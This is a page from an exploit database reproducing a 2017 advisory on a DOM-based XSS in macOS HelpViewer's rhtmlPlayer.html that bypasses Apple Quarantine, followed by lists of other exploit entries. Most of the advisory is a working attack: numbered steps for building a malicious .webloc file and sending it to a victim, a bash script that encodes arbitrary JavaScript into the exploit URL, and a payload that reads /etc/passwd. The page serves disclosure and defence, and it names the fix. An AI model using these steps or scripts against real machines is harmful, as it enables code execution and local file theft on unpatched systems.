Menu

Search for hundreds of thousands of exploits

"Apple Mac OS X + Safari - Local Javascript Quarantine Bypass"

Author

Exploit author

"Filippo Cavallarin"

Platform

Exploit platform

osx

Release date

Exploit published date

2017-07-15

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
Title:                 Mac OS X Local Javascript Quarantine Bypass
Product:               Mac OS X
Version:               10.12, 10.11, 10.10 and probably prior
Vendor:                apple.com <http://apple.com/>
Type:                  DOM Based XSS
Risk level:            3 / 5
Credits:               filippo.cavallarin@wearesegment.com <mailto:filippo.cavallarin@wearesegment.com>
CVE:                   N/A
Vendor notification:   2017-07-15
Vendor fix:            2017-09-25
Public disclosure:     2017-09-28




DETAILS

Mac OS X contains a vulnerability that allows the bypass of the Apple Quarantine and the execution of arbitrary
Javascript code without restrictions. 

Basically, Apple's Quarantine works by setting an extended attribute to downloaded files (and also to files
extracted from downloaded archive/image) that tells the system to open/execute those files in a restricted 
environment. For example, a quarantined html file won't be able to load local resources.

The vulnerability is in one html file, part of the Mac OS X core, that is prone to a DOM Based XSS allowing the 
excution of arbitrary javascript commands in its (unrestricted) context.

The mentioned file is located at /System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html
and contains the following code:

<script type="text/javascript" charset="utf-8">

setBasePathFromString(urlParam("rhtml"));
loadLocStrings();
loadJavascriptLibs();

function init () { /* <-- called by <body onload="init()" */
 [...]

 rHTMLPath = urlParam("rhtml"); /* <-- takes 'rhtml' parameters from current url */

 [...]

 self.contentHttpReq.open('GET', rHTMLPath, true);
 self.contentHttpReq.onreadystatechange = function() {
     if (self.contentHttpReq.readyState == 4) {
         loadTutorial(self.contentHttpReq.responseText);
     }
 }
 [...]
}

function loadTutorial(response) {
 var rHTMLPath = urlParam("rhtml");

 // this will create a tutorialData item
 eval(response);
 [...]
}

function loadLocStrings()
{
 var headID = document.getElementsByTagName("head")[0];         
 var rHTMLPath = urlParam("rhtml");

 rHTMLPath = rHTMLPath.replace("metaData.html", "localizedStrings.js");
 var newScript = document.createElement('script');
 newScript.type = 'text/javascript';
 newScript.src = rHTMLPath;
 headID.appendChild(newScript);      
}
[...]
</script>


In short, it takes an url from the "rhtml" query string parameter, makes a request to that url and evaluates
the response content as javascript code.

The code below contains two different DOM Based XSS. 
The first is in the loadLocStrings() function that creates a SCRIPT element and uses the "rhtml" parameter as
its "src" property.
The second is in the init() function that uses the "rhtml" parameter to make an ajax call and then passes the
response directly to eval().
As the result the same payload is executed twice.

An attacker, by providing a data uri, can take control of the response and thus what gets evaluated.

One possile vector of exploitation are the .webloc files. Basically those files contain an url and they simply loads
it in Safari when opened. 
By crafting a .webloc file and by tricking a victim to open it, an attacker can run privileged javascript commands on
the victim's computer.
Due to the fact that .webloc files also use an extended attribute to store data, they must be sent contained in a tar
archive (or any other format that supports extended attributes).



PROOF OF CONCEPT

To reproduce the issue follow the steps below:
  1. create a javascript file you want to execute on your target
  2. convert its content to base64
  3. encode it to a "uri component" (ex with encodeURIComponent js function)
  4. use it to build a data uri as follow:
    data:text/plain;base64,<urlencoded base64>
  5. prepend the following string to it:
    file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= <file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=>
  6. open it with Safari
  7. save it as a bookmark
  8. drag the bookmark to the Finder (a .webloc file is created, if the extension is not .webloc, rename it)
  9. create a tar archive containing the .webloc file
 10. send it to the victim

Note that due to the behaviour of rhtmlPlayer.html, in order to access local resources, the first line of the
javascript code must be: document.getElementsByTagName("base")[0].href="";

The following bash script will take a javascript file and converts it to final "file" url:
BOF
#!/bin/bash

BASEURL="file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= <file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=>"
BASEJS="(function(){document.getElementsByTagName('base')[0].href='';if('_' in window)return;window._=1;"
DATAURI="data:text/plain;base64,"

JSFILE=$1

if [ "$JSFILE" = "" ]; then
 echo "usage: $0 <jsfile>"
 exit 1
fi

JS=$BASEJS`cat $JSFILE`"})();"
ENCJS=`echo -n $JS | base64 | sed 's/=/%3D/g' | sed 's/+/%2F/g' | sed 's/\//%2B/g'`
URL="$BASEURL""$DATAURI""$ENCJS"

echo -ne "Paste the url below into Safari's url bar:\n\033[33m$URL\033[0m\n"
EOF


The following javascript code will alert the /etc/passwd file on the victim's computer:
BOF
xhr = new XMLHttpRequest();
xhr.open("GET", "/etc/passwd", true);
xhr.onreadystatechange = function(){
if (xhr.readyState == 4) {
 alert(xhr.responseText);
}
};
xhr.send();
EOF

Note that only Safari will successfully load local resources via ajax (Chrome and Firefox won't). In this
exploitation process it's not an issue since .webloc files are always opened with Safari.



NOTE

This issue has been silently fixed in Mac OS X High Sierra and (at time of writing) there is no mention of this
bug in Apple's changelog. 
No CVE has been assigned by Apple.


SOLUTION

Upgrade to Mac OS X High Sierra or simply remove rhtmlPlayer.html.
Safari 11 (available for Mac OS X 10.11, 10.12 and 10.13) introduces the following security henancement:
"CORS and cross origin access from file:// are now blocked unless Disable Local File Restrictions is selected from the Develop menu"
hence the above exploit will not work against updated versions of OSX El Capitan and Sierra. However javascript execution outside quarantine is still possible.


REFERENCES

https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html <https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html>


DISCLOSURE

This vulnerability has been disclosed thru Securiteam Secure Disclosure program: http://www.beyondsecurity.com/ssd <http://www.beyondsecurity.com/ssd>
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-02-11 "Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit)" remote osx Metasploit
2017-08-09 "NoMachine 5.3.9 - Local Privilege Escalation" local osx "Daniele Linguaglossa"
2017-07-15 "Apple Mac OS X + Safari - Local Javascript Quarantine Bypass" local osx "Filippo Cavallarin"
2017-05-01 "HideMyAss Pro VPN Client for OS X 2.2.7.0 - Local Privilege Escalation" local osx "Han Sahin"
2017-04-13 "GNS3 Mac OS-X 1.5.2 - 'ubridge' Local Privilege Escalation" local osx "Hacker Fantastic"
2017-02-01 "Apple WebKit - 'HTMLFormElement::reset()' Use-After Free" dos osx "Google Security Research"
2017-01-23 "Microsoft Remote Desktop Client for Mac 8.0.36 - Code Execution" local osx "Filippo Cavallarin"
2017-01-10 "Apple OS X Yosemite - 'flow_divert-heap-overflow' Kernel Panic" dos osx "Brandon Azad"
2016-12-16 "Horos 2.1.0 Web Portal - Directory Traversal" remote osx LiquidWorm
2016-12-16 "Horos 2.1.0 DICOM Medical Image Viewer - Denial of Service" dos osx LiquidWorm
Release Date Title Type Platform Author
2017-07-15 "Apple Mac OS X + Safari - Local Javascript Quarantine Bypass" local osx "Filippo Cavallarin"
2017-01-23 "Microsoft Remote Desktop Client for Mac 8.0.36 - Code Execution" local osx "Filippo Cavallarin"
2016-01-29 "ProjectSend r582 - Multiple Vulnerabilities" webapps php "Filippo Cavallarin"
2012-03-07 "OSClass 2.3.x - Directory Traversal / Arbitrary File Upload" webapps php "Filippo Cavallarin"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.